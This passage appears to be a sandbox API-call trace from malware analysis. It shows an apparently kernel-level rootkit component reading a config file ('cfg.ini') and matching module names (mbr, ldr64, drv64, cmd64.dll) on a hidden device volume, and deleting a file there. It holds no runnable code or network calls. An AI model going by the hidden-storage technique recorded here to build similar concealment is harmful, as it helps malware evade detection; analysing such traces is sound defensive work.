returned 0xfffffa8003aab1d0 [0120.681] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.681] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.681] IdePortDispatch () returned 0x103 [0120.681] KeWaitForMutexObject () returned 0x0 [0120.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.681] KeLeaveCriticalRegion () [0120.681] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.682] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.682] KeEnterCriticalRegion () [0120.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.682] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.682] KeLeaveCriticalRegion () [0120.682] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.682] KeEnterCriticalRegion () [0120.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.682] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.682] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.682] KeLeaveCriticalRegion () [0120.682] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.682] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.682] KeEnterCriticalRegion () [0120.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.682] ExFreePoolWithTag (P=0xfffffa8003bbb2f0, Tag=0x0) [0120.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.682] KeLeaveCriticalRegion () [0120.682] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.682] ReleaseMutex (hMutex=0xf0) returned 1 [0120.682] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.682] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.682] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.682] KeEnterCriticalRegion () [0120.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.682] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.683] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.683] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.683] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.683] IdePortDispatch () returned 0x103 [0120.683] KeWaitForMutexObject () returned 0x0 [0120.683] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.683] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.683] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.683] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.683] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.683] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba600 [0120.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.683] KeLeaveCriticalRegion () [0120.683] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.683] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.683] KeEnterCriticalRegion () [0120.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.683] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.683] KeLeaveCriticalRegion () [0120.683] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.683] KeEnterCriticalRegion () [0120.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.683] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.683] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.683] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.683] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.683] IdePortDispatch () returned 0x103 [0120.683] KeWaitForMutexObject () returned 0x0 [0120.683] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.683] KeLeaveCriticalRegion () [0120.684] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.684] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.684] KeEnterCriticalRegion () [0120.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.684] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c0000 [0120.684] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.684] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.684] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.684] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.684] IdePortDispatch () returned 0x103 [0120.684] KeWaitForMutexObject () returned 0x0 [0120.684] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.684] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.684] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.684] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.684] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.684] IdePortDispatch () returned 0x103 [0120.684] KeWaitForMutexObject () returned 0x0 [0120.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.684] KeLeaveCriticalRegion () [0120.684] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.685] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.685] KeEnterCriticalRegion () [0120.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.685] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.685] KeLeaveCriticalRegion () [0120.685] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.685] KeEnterCriticalRegion () [0120.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.685] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.685] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbbdd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.685] KeLeaveCriticalRegion () [0120.685] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.685] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.685] KeEnterCriticalRegion () [0120.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.685] ExFreePoolWithTag (P=0xfffffa8003bba600, Tag=0x0) [0120.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.685] KeLeaveCriticalRegion () [0120.685] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.685] ReleaseMutex (hMutex=0xf0) returned 1 [0120.685] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.685] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.685] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.685] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.685] KeEnterCriticalRegion () [0120.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.685] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.685] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.685] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.685] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.686] IdePortDispatch () returned 0x103 [0120.686] KeWaitForMutexObject () returned 0x0 [0120.686] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.686] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.686] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.686] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.686] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.686] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.686] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.686] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.686] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.686] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.686] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.686] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.686] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.686] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.686] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.686] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.686] KeLeaveCriticalRegion () [0120.686] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.686] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.686] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.686] KeEnterCriticalRegion () [0120.686] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.686] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.686] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.686] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.686] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.686] IdePortDispatch () returned 0x103 [0120.686] KeWaitForMutexObject () returned 0x0 [0120.686] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.687] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.687] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.687] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.687] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.687] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.687] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.687] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.687] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.687] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.687] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.687] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.687] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.687] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.687] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.687] KeLeaveCriticalRegion () [0120.687] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.687] ReleaseMutex (hMutex=0x100) returned 1 [0120.687] Sleep (dwMilliseconds=0x2bf20) [0120.693] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b230630, dwHighDateTime=0x1d24fa4)) [0120.693] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.693] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.693] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.693] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.693] KeEnterCriticalRegion () [0120.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.693] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.693] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.693] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.693] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.693] IdePortDispatch () returned 0x103 [0120.693] KeWaitForMutexObject () returned 0x0 [0120.694] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.694] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.694] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.694] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.694] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.694] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba0b0 [0120.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.694] KeLeaveCriticalRegion () [0120.694] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.694] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.694] KeEnterCriticalRegion () [0120.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.694] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.694] KeLeaveCriticalRegion () [0120.694] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.694] KeEnterCriticalRegion () [0120.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.694] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.694] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.694] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.694] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.694] IdePortDispatch () returned 0x103 [0120.694] KeWaitForMutexObject () returned 0x0 [0120.694] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.694] KeLeaveCriticalRegion () [0120.694] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.694] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.694] KeEnterCriticalRegion () [0120.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.694] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c3000 [0120.695] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.695] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.695] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.695] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.695] IdePortDispatch () returned 0x103 [0120.695] KeWaitForMutexObject () returned 0x0 [0120.695] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.695] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.695] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.695] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.695] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.695] IdePortDispatch () returned 0x103 [0120.695] KeWaitForMutexObject () returned 0x0 [0120.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.695] KeLeaveCriticalRegion () [0120.695] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.696] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.696] KeEnterCriticalRegion () [0120.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.696] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.696] KeLeaveCriticalRegion () [0120.696] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.696] KeEnterCriticalRegion () [0120.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.696] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.696] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbbdd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.696] KeLeaveCriticalRegion () [0120.696] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.696] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.696] KeEnterCriticalRegion () [0120.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.696] ExFreePoolWithTag (P=0xfffffa8003bba0b0, Tag=0x0) [0120.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.696] KeLeaveCriticalRegion () [0120.696] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.696] ReleaseMutex (hMutex=0xf0) returned 1 [0120.696] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.696] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.696] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.696] KeEnterCriticalRegion () [0120.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.696] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.696] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.696] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.696] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.696] IdePortDispatch () returned 0x103 [0120.696] KeWaitForMutexObject () returned 0x0 [0120.698] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.698] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.698] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.698] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.698] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.698] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbadb0 [0120.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.698] KeLeaveCriticalRegion () [0120.698] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.698] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.698] 